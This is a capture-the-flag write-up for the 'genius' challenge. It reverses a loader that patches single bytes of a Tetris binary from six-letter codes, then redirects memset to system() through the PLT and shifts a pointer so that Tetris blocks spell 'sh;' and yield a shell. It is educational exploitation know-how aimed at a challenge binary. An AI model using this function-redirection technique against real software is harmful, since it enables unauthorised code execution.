Tags: reverse tetris pwn
Rating:
Wasn't this a funny challenge! A very nice mix of reverse and pwn, with some Tetris for more fun! Here is a run through of what it was like.
We had two binaries, `loader` and `genius`, as well as access to a server which executes `loader` for us.
Launching `genius` gives us some information about the location of `system()` and of the game object, but we'll come back to that later, and launches a classic Tetris game.
`loader` is already more interesting.
```
Welcome to the Game Genius interface!
Loading game...
...
Loaded!
Please enter your first Game Genius code, or press <enter> to
continue!
```
It seems like we can put a Genius code, whatever that is, followed by another code.
```
Applying patch...
...
...
Done!
Please enter your second code, or press <enter>
```
Reversing it will give us more information about the format of the code and how it is processed. It then proceeds to launch `genius`. We can already guess that the two genius codes enable us to patch the `genius` binary that will be executed by `loader`, but how and where is not yet clear. Reversing `loader` will tell us how, and checking how to get a shell with `genius` will tell us where.
`loader` first loads genius into its memory at `ptr` (ebp-0x2750), and check if the size of the memory read is equal to 0x2730, the size of the genius binary:
```
|           0x08048a99      push 0x8048f22 ; const char *mode
|           0x08048a9e      push str.home_ctf_genius ; 0x8048f25 ; "/home/ctf/genius" ; const char *filename
|           0x08048aa3      call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)
|           0x08048aa8      add  esp, 0x10
|           0x08048aab      mov  dword [stream], eax
|           0x08048aae      cmp  dword [stream], 0
(...)
|       `-> 0x08048ad3      push dword [stream] ; FILE *stream
|           0x08048ad6      push 0x2730 ; '0'' ; size_t nmemb
|           0x08048adb      push 1 ; 1 ; size_t size
|           0x08048add      lea  eax, [ptr]
|           0x08048ae3      push eax ; void *ptr
|           0x08048ae4      call sym.imp.fread ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
|           0x08048ae9      add  esp, 0x10
|           0x08048aec      cmp  eax, 0x2730 ; '0''
|       ,=< 0x08048af1      je   0x8048b12
```
Moving on, `loader` asks us for a first Game Genius code:
```
|           0x08048b40      push str.Please_enter_your_first_Game_Genius_code__or_press__enter__to ; 0x8048f78 ; "Please enter your first Game Genius code, or press <enter> to" ; const char *s
|           0x08048b45      call sym.imp.puts ; int puts(const char *s)
|           0x08048b4a      add  esp, 0x10
|           0x08048b4d      sub  esp, 0xc
|           0x08048b50      push str.continue ; 0x8048fb6 ; "continue!\n" ; const char *s
|           0x08048b55      call sym.imp.puts ; int puts(const char *s)
|           0x08048b5a      add  esp, 0x10
|           0x08048b5d      mov  eax, dword [obj.stdin] ; [0x804b080:4]=0
|           0x08048b62      sub  esp, 4
|           0x08048b65      push eax ; FILE *stream
|           0x08048b66      push 8 ; 8 ; int size
|           0x08048b68      lea  eax, [s]
|           0x08048b6b      push eax ; char *s
|           0x08048b6c      call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
|           0x08048b71      add  esp, 0x10
|           0x08048b74      movzx eax, byte [s]
|           0x08048b78      cmp  al, 0xa ; 10
|       ,=< 0x08048b7a      je   0x8048d46
|       |   0x08048b80      sub  esp, 4
|       |   0x08048b83      lea  eax, [local_2753h]
|       |   0x08048b89      push eax
|       |   0x08048b8a      lea  eax, [local_2752h]
|       |   0x08048b90      push eax
|       |   0x08048b91      lea  eax, [s]
|       |   0x08048b94      push eax
|       |   0x08048b95      call fcn.080488f3
|       |   0x08048b9a      add  esp, 0x10
|       |   0x08048b9d      sub  esp, 0xc
|       |   0x08048ba0      push str.Applying_patch... ; 0x8048fc1 ; "Applying patch..." ; const char *s
|       |   0x08048ba5      call sym.imp.puts ; int puts(const char *s)
```
Here, we see at address 0x08048b78 that it checks if the first byte is `\x0a`, which is a new line character, and then at 0x08048b95 at calls `fcn.080488f3`. At 0x08048b83 and 0x08048b8a it clearly pushes two addresses, local_2753h and local_2752h to the stack to be used by that function to return values by address. Let's check this function and see what it does:
```
|           0x080488f3      push ebp
|           0x080488f4      mov  ebp, esp
|           0x080488f6      sub  esp, 0x10
|           0x080488f9      mov  eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
|           0x080488fc      movzx eax, byte [eax]
|           0x080488ff      movsx eax, al
|           0x08048902      push eax
|           0x08048903      call fcn.0804885b
|           0x08048908      add  esp, 4
|           0x0804890b      mov  byte [local_1h], al
|           0x0804890e      mov  eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
|           0x08048911      add  eax, 1
|           0x08048914      movzx eax, byte [eax]
|           0x08048917      movsx eax, al
|           0x0804891a      push eax
|           0x0804891b      call fcn.0804885b
|           0x08048920      add  esp, 4
|           0x08048923      mov  byte [local_2h], al
(...)
|           0x0804896e      mov  eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
|           0x08048971      add  eax, 5
|           0x08048974      movzx eax, byte [eax]
|           0x08048977      movsx eax, al
|           0x0804897a      push eax
|           0x0804897b      call fcn.0804885b
|           0x08048980      add  esp, 4
|           0x08048983      mov  byte [local_6h], al
|           0x08048986      movzx eax, byte [local_2h]
|           0x0804898a      and  eax, 8
|           0x0804898d      shl  eax, 4
|           0x08048990      mov  edx, eax
|           0x08048992      movzx eax, byte [local_3h]
|           0x08048996      and  eax, 7
|           0x08048999      shl  eax, 4
|           0x0804899c      or   edx, eax
(...)
|           0x080489d4      mov  edx, eax
|           0x080489d6      mov  eax, dword [arg_ch] ; [0xc:4]=-1 ; 12
|           0x080489d9      mov  word [eax], dx
|           0x080489dc      movzx eax, byte [local_1h]
|           0x080489e0      and  eax, 7
|           0x080489e3      mov  edx, eax
|           0x080489e5      movzx eax, byte [local_1h]
|           0x080489e9      and  eax, 8
|           0x080489ec      shl  eax, 4
|           0x080489ef      or   edx, eax
(...)
|           0x08048a06      mov  edx, eax
|           0x08048a08      mov  eax, dword [arg_10h] ; [0x10:4]=-1 ; 16
|           0x08048a0b      mov  byte [eax], dl
```
Basically we see repeated calls to `fcn.0804885b`, one for each byte of the first 6 bytes of the genius code we entered, and then some bitwise operations on the results, at 0x080489d9 a word (2 bytes) is saved to arg_8h (ebp+0x8) and at 0x08048a0b a byte is saved at arg_10h (ebp+0x10). That is what is gonna be returned.
In `fcn.0804885b`, we see a classic switch table with 26 cases, where each uppercase letter is assigned a number between 0x1 and 0xf, or the value -1:
```
|           0x0804885b      push ebp
|           0x0804885c      mov  ebp, esp
|           0x0804885e      sub  esp, 4
|           0x08048861      mov  eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
|           0x08048864      mov  byte [local_4h], al
|           0x08048867      movsx eax, byte [local_4h]
|           0x0804886b      sub  eax, 0x41 ; 'A'
|           0x0804886e      cmp  eax, 0x19 ; 25
|       ,=< 0x08048871      ja   case.default.0x80488ec
|       |   0x08048873      mov  eax, dword [eax*4 + case.0x804887a.0] ; [0x8048e80:4]=0x804887c case.0x804887a.0
|       |   ;-- switch.0x0804887a:
|       |   0x0804887a      jmp  eax ; switch table (26 cases) at 0x8048e80
|       |   ;-- case 0 (0x804887a):
|       |   0x0804887c      mov  eax, 0
|      ,==< 0x08048881      jmp  0x80488f1
|      ||   ;-- case 15 (0x804887a):
|      ||   0x08048883      mov  eax, 1
|     ,===< 0x08048888      jmp  0x80488f1
|     |||   ;-- case 25 (0x804887a):
|     |||   0x0804888a      mov  eax, 2
|    ,====< 0x0804888f      jmp  0x80488f1
(...)
|  ||||||   ;-- case 13 (0x804887a):
|  ||||||   0x080488e5      mov  eax, 0xf ; 15
| ,=======< 0x080488ea      jmp  0x80488f1
| |||||||   ;-- cases 1...3 (0x804887a):
| |||||||   ;-- case 5 (0x804887a):
| |||||||   ;-- case 7 (0x804887a):
| |||||||   ;-- case 12 (0x804887a):
| |||||||   ;-- case 17 (0x804887a):
| |||||||   ;-- case.default.0x80488ec:
| |||||||   0x080488ec      mov  eax, 0xffffffff ; -1
| ```````-> 0x080488f1      leave
\           0x080488f2      ret
```
Copying all this, the switch table and the bitwise operation in a Python script, we create a table the values associated with all possible permutations of valid letters, see `table_creator.py` in my [GitHub](https://github.com/arty-hlr/CTF-writeups/tree/master/2019/bsides/genius), you will have to generate the table yourself as it was to big for GitHub. That enables us to grep for the address we want and see what 6 letters we need to enter.
Returning to main, we see that the value held at local_2752h is compared to 0x2730, and if it is not greater than that, we have a `Bad address!` message and the program exits.
```
|           0x08048bd7      movzx eax, word [local_2752h]
|           0x08048bde      cmp  ax, 0x2730 ; '0''
|       ,=< 0x08048be2      jbe  0x8048bfe
|       |   0x08048be4      sub  esp, 0xc
|       |   0x08048be7      push str.Bad_address ; 0x8048fd3 ; "Bad address!" ; const char *s
|       |   0x08048bec      call sym.imp.puts ; int puts(const char *s)
```
If it is greater thatn 0x2730, we see here that it loads the word at local_2752h into eax, and then the byte at local_2753h in edx, and then moves dl (the low byte of edx) into `[ebp + eax - 0x2750]`, which is the base address for the genius binary read before, plus the word value in eax.
```
|           0x08048c1b      movzx eax, word [local_2752h]
|           0x08048c22      movzx eax, ax
|           0x08048c25      movzx edx, byte [local_2753h]
|           0x08048c2c      mov  byte [ebp + eax - 0x2750], dl
|           0x08048c33      sub  esp, 0xc
|           0x08048c36      push str.Done ; 0x8048fe0 ; "Done!" ; const char *s
|           0x08048c3b      call sym.imp.puts ; int puts(const char *s)
```
From all this, and seeing that `loader` asks us for a second genius code before launching the game, we deduct that it is possible to provide two 6 letters codes which will patch one byte of the genius binary one time each at the desired offset. Great, but what do we patch? Remember that the goal is to spawn a shell to read the flag.
Reminding ourselves that `genius` gives us the address of system() and the address of the game object, we look in the disassembled code of the binary for a way to call system() instead of another function, and provide it with the right parameter, that is `sh;`. At the beginning and the end of the game, we see that memset() is called with as a first argument a pointer s:
```
|           0x0804944e      push 0x1a ; 26 ; size_t n
|           0x08049450      push 0 ; int c
|           0x08049452      push 0x804b1a0 ; void *s
|           0x08049457      call sym.imp.memset ; void *memset(void *s, int c, size_t n)
(...)
|           0x08049547      push 0x1a ; 26 ; size_t n
|           0x08049549      push 0 ; int c
|           0x0804954b      push 0x804b1a0 ; void *s
|           0x08049550      call sym.imp.memset ; void *memset(void *s, int c, size_t n)
```
Well, if we could call system() instead of memset() at some point, and have s point to something beginning by `sh;`, we're set. But what is exactly this pointer s? Just before the first call to memset() we see this:
```
|           0x08049452      push 0x804b1a0 ; void *s
```
And isn't that the game object that genius tells us about upon being executed? After playing a bit of Tetris and checking what value is held at game object, we realize that it's the value created by the blocks already in place at the top of the game, just before losing:
```
+----------+
|    *     |
|   **     |
|   *      |
|   ##     |
|   ##     |
|    #     |
|   ###    |
|    #     |
|   ##     |
|   ##     |
|   ##     |
|   #      |
|   ##     |
|   ###    |
|    ####  |
|   ###    |
|   #      |
|   ##     |
|    #     |
|   ##     |
|   ##     |
+----------+
Game over! You got 9000 points!
```
For example, a top game as such:
```
+----------+
|###     ##|
|##    xxxx|
```
would create the value 0x7f, reading the bits represented by '#' as 1 and ' ' as 0 from left (LSB) to right (MSB) 8 by 8.
So basically, we have to call system() instead of memset(), and play in such a way that the top game looks like this:
```
+----------+
|##  ###   |
| # ## ## #|
|##  xxxxxx|
```
So that the game object begins with `sh;`. But if you have ever played Tetris, you will recognize quickly that this is impossible to achieve, and after scratching our heads a bit, we realized we had to change the game object pointer so that it just points lower in the game!
But first things first, we have to patch the call to memset first, and that is achieved by patching the value in the `.plt` section so that any call to memset() will be redirected to system(), here you will see the difference between a patched binary and the original genius after having a look at the GOT:
```
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
(...)
0804b020 R_386_JUMP_SLOT   system@GLIBC_2.0
(...)
0804b030 R_386_JUMP_SLOT   memset@GLIBC_2.0
```
```
080485e0 <system@plt>:
 80485e0:	ff 25 20 b0 04 08    	jmp    *0x804b020
 80485e6:	68 28 00 00 00       	push   $0x28
 80485eb:	e9 90 ff ff ff       	jmp    8048580 <printf@plt-0x10>
(...)
08048620 <memset@plt>:
 8048620:	ff 25 30 b0 04 08    	jmp    *0x804b030
 8048626:	68 48 00 00 00       	push   $0x48
 804862b:	e9 50 ff ff ff       	jmp    8048580 <printf@plt-0x10>
 ```
In the original genius, calling memset() will jump to 0x804b030 and calling system() will jump to 0x804b020, so we just have to patch the final 30 of the jump to 20, and any call to memset() will now jump to system():
```
8048620:	ff 25 20 b0 04 08    	jmp    *0x804b020
8048626:	68 48 00 00 00       	push   $0x48
804862b:	e9 50 ff ff ff       	jmp    8048580 <printf@plt-0x10>
```
And then, patching the address of the game object in the second call of memset() at the end of the game with a higher address of 0x804b1b4 instead of 0x804b1a0 puts the game object pointer 16 lines lower in the game, with 4 lines underneath to build the right shape with some Tetris skill. This I did by hand, and you can see a pictures of it there.
Well that was it in a nutshell, in the end we had to patch at offset 0x0622 with the byte 0x20 for system() and at offset 0x154c with the byte 0xb4, which resulted in the codes AZZAZT and KLKOGI given by the table. You can see for yourself by playing `patch2` in my [GitHub](https://github.com/arty-hlr/CTF-writeups/tree/master/2019/bsides/genius) or launching `loader`, putting in the codes and play, in the required way to get `sh;` like in my notes picture!
I hope you could learn something from this writeup, and I do recommend you go through the assembly code of each binary to see what I meant and try the exploit for yourselves, as it is the best way to understand it! The length of this writeup somehow reflects the time I spent on it, it can seem pretty straightforward reading this but it wasn't!